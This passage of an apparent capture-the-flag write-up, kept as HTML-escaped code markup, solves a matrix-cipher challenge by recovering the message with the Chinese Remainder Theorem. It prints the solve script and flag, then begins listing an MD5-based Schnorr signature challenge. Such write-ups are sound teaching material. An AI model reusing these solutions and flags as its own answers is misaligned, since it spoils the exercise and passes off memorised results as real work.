&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">option&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">menu&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;L&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># ascii_print(ciphertext, key, page_number)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">page_number&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;T&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ciphertext&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">key&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">book&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encrypt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">FLAG&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">page_number&lt;/span> &lt;span class="o">+=&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">elif&lt;/span> &lt;span class="n">option&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;C&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">list&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ciphertext&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="nb">list&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">key&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">else&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">Invalid option!&lt;/span>&lt;span class="se">\n&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">if&lt;/span> &lt;span class="vm">__name__&lt;/span> &lt;span class="o">==&lt;/span> &lt;span class="s2">&amp;#34;__main__&amp;#34;&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">try&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">main&lt;/span>&lt;span class="p">()&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">except&lt;/span> &lt;span class="ne">Exception&lt;/span> &lt;span class="k">as&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s2">&amp;#34;An error occurred: &lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">e&lt;/span>&lt;span class="si">}&lt;/span>&lt;span class="s2">&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="problem-statement-2">Problem Statement&lt;/h3>
&lt;p>The code defines a class &lt;code>Book&lt;/code> that is used to generate a key matrix and encrypt a message using matrix multiplication. The matrix is generated randomly each time a message is encrypted, and its size is fixed at $5\times 5$. The program encrypts a flag, stored in &lt;code>FLAG&lt;/code>, using the &lt;code>Book&lt;/code> class and presents a menu to the user to interact with the encrypted flag.&lt;/p>
&lt;p>The main function of the code presents a menu to the user with three options:&lt;/p>
&lt;ul>
&lt;li>&lt;code>[L]ook at page&lt;/code>: displays the ciphertext and key matrix for the current page number. Here is an example output when you choose this option:&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">Options:
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[L]ook at page
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[T]urn page
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[C]heat
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&amp;gt; L
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> _________ _________
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> ______/ 5\ / 6 \_______
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> /| --------------- | --------------- |\
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| Ciphertext:--- - | Key:------------ |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| ---------------- | ------ -------- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| ---------- ----- | ---------------- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [3,12,21,20,8]-- | [18,18,21,26,24] |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [1,1,9,7,1]----- | [21,7,10,9,2]--- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [10,3,8,6,13]--- | [22,1,24,22,12]- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [0,19,24,15,12]- | [7,21,7,20,2]--- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| [10,4,6,2,4]---- | [26,25,17,3,25]- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| ---------------- | ------ ----- --- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">|| --- - ---------- | ---------------- |||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">||______________ _ | ________________|||
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">L/______/---------\\_//W--------\_______\J
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;ul>
&lt;li>
&lt;p>&lt;code>[T]urn page&lt;/code>: generates a new key matrix and ciphertext for the next page number.&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;code>[C]heat&lt;/code>: displays the ciphertext and key matrix in list type. The Cheat output of above example page is:&lt;/p>
&lt;/li>
&lt;/ul>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-fallback" data-lang="fallback">&lt;span class="line">&lt;span class="cl">[(3, 12, 21, 20, 8), (1, 1, 9, 7, 1), (10, 3, 8, 6, 13), (0, 19, 24, 15, 12), (10, 4, 6, 2, 4)]
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">[(18, 18, 21, 26, 24), (21, 7, 10, 9, 2), (22, 1, 24, 22, 12), (7, 21, 7, 20, 2), (26, 25, 17, 3, 25)]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="initial-analysis-2">Initial Analysis&lt;/h3>
&lt;h4 id="primes">Primes&lt;/h4>
&lt;p>Prime $p$ is changed whenever &lt;code>Turn page&lt;/code> option is chosen. Though we don&amp;rsquo;t know what $p$ is, we know that it would be from 16 to 64. There are 12 primes in this range, which are $17, 19, 23, 29, 31, 37, 41, 43, 47, 53, 59, 61$.&lt;/p>
&lt;h4 id="the-encryption">The Encryption&lt;/h4>
&lt;p>It&amp;rsquo;s just a multiplication between two $5 \times 5$ matrixs over the field of integers modulo $p$:&lt;/p>
&lt;p>$$C \equiv M\times K (\text{mod } p)$$&lt;/p>
&lt;p>$$\Leftrightarrow M \equiv C\times K^{-1} (\text{mod } p)$$&lt;/p>
&lt;h4 id="conclusion-2">Conclusion&lt;/h4>
&lt;p>We already have key $K$ and ciphertext $C$ by using &lt;code>Cheat option&lt;/code>. Then if we know $p$, we can easily recover message $M$ in modulus $p$. Because $p$ is changeable, we can gather several pairs $(M_i, p_i)$ where $i \geq 2$.&lt;/p>
&lt;h3 id="solution-method-2">Solution Method&lt;/h3>
&lt;p>Suppose there are some entries in a key $K_1$ which are larger than 59, then $p_1$ must be 61.&lt;/p>
&lt;p>Suppose all entries in a key $K_2$ are smaller than 17, then it&amp;rsquo;s likely that $p_2$ is 17.&lt;/p>
&lt;p>If we have $K_1$ and $K_2$, then we can recover $M_1$, $M_2$. By applying CRT (Chinese Remainder Theorem) for 2 pairs $(M_1, 61)$ and $(M_2, 17)$, we can get $M$ in modulus $61\times 17 = 1037$. Because every entries of the actual message&amp;rsquo;s matrix are bytes, they would be smaller than 128 (which is much smaller than 1037). This means our $M$ is actually the message itself.&lt;/p>
&lt;p>So our mission is just to find $C_1, C_2$ by using &lt;code>Turn page&lt;/code> many times. Here is the script after we gather enough materials (I used $p_1=61$ and $p_2=19$):&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="n">M_1&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">11&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">23&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">5&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">47&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">48&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">46&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">34&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">34&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">43&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">51&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">34&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">55&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">52&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">53&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">54&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">33&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">3&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">M_2&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">15&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">8&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">13&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">10&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">12&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">7&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">17&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">9&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">13&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">2&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">0&lt;/span>&lt;span class="p">,&lt;/span>&lt;span class="mi">1&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">14&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">11&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">res&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">sympy.ntheory.modular&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">crt&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">for&lt;/span> &lt;span class="n">i&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="nb">range&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="nb">len&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">M_1&lt;/span>&lt;span class="p">)):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">m&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="mi">61&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="mi">19&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">v&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">[&lt;/span>&lt;span class="n">M_1&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">],&lt;/span> &lt;span class="n">M_2&lt;/span>&lt;span class="p">[&lt;/span>&lt;span class="n">i&lt;/span>&lt;span class="p">]]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="c1"># Use crt() method &lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">crt_m_v&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">crt&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">m&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">v&lt;/span>&lt;span class="p">)[&lt;/span>&lt;span class="mi">0&lt;/span>&lt;span class="p">]&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">res&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">append&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">crt_m_v&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">join&lt;/span>&lt;span class="p">([&lt;/span>&lt;span class="nb">chr&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="k">for&lt;/span> &lt;span class="n">x&lt;/span> &lt;span class="ow">in&lt;/span> &lt;span class="n">res&lt;/span>&lt;span class="p">]))&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;h3 id="results-2">Results&lt;/h3>
&lt;p>Flag is: &lt;strong>HTB{l00k_@t_7h3_st4rs!!!}&lt;/strong>&lt;/p>
&lt;h2 id="colliding-heritage">Colliding Heritage&lt;/h2>
&lt;ul>
&lt;li>
&lt;p>&lt;strong>Description:&lt;/strong> As you arrive at the location of the relic, you discover an ancient tomb that appears to have no visible entrance. However, a scan of the area reveals the presence of unusual RF signals coming from a specific location. With the help of your team, you manage to create an interface to communicate with the signal-emitting device. Unfortunately, the device only grants access to descendants of the pharaoh’s left hand. Can you find a way to enter the tomb?&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Category:&lt;/strong> Cryptography&lt;/p>
&lt;/li>
&lt;li>
&lt;p>&lt;strong>Difficulty:&lt;/strong> Medium&lt;/p>
&lt;/li>
&lt;/ul>
&lt;p>We were given a file below:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="ch">#!/usr/bin/env python3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">signal&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">secrets&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">randbelow&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">hashlib&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">md5&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">from&lt;/span> &lt;span class="nn">Crypto.Util.number&lt;/span> &lt;span class="kn">import&lt;/span> &lt;span class="n">isPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">getPrime&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">FLAG&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="s2">&amp;#34;HTB{???????????????????????????}&amp;#34;&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">class&lt;/span> &lt;span class="nc">MD5chnorr&lt;/span>&lt;span class="p">:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="fm">__init__&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># while True:&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># self.q = getPrime(128)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># self.p = 2*self.q + 1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># if isPrime(self.p):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1"># break&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mh">0x16dd987483c08aefa88f28147702e51eb&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="mi">1&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">//&lt;/span> &lt;span class="mi">2&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">3&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">randbelow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">y&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="n">bytes_to_long&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">md5&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">digest&lt;/span>&lt;span class="p">())&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">sign&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">k&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">msg&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span>&lt;span class="p">))&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="sa">f&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="si">{&lt;/span>&lt;span class="n">k&lt;/span> &lt;span class="si">= }&lt;/span>&lt;span class="s1">&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">r&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="nb">pow&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">g&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">k&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">p&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">H&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">long_to_bytes&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">r&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">+&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">k&lt;/span> &lt;span class="o">-&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">x&lt;/span> &lt;span class="o">*&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span> &lt;span class="o">%&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">def&lt;/span> &lt;span class="nf">verify&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="bp">self&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">msg&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">sig&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">s&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">e&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">sig&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">s&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">False&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">if&lt;/span> &lt;span class="ow">not&lt;/span> &lt;span class="p">(&lt;/span>&lt;span class="mi">0&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="n">e&lt;/span> &lt;span class="o">&amp;lt;&lt;/span> &lt;span class="bp">self&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">q&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="k">return&lt;/span> &lt;span class="kc">False&lt;/span>
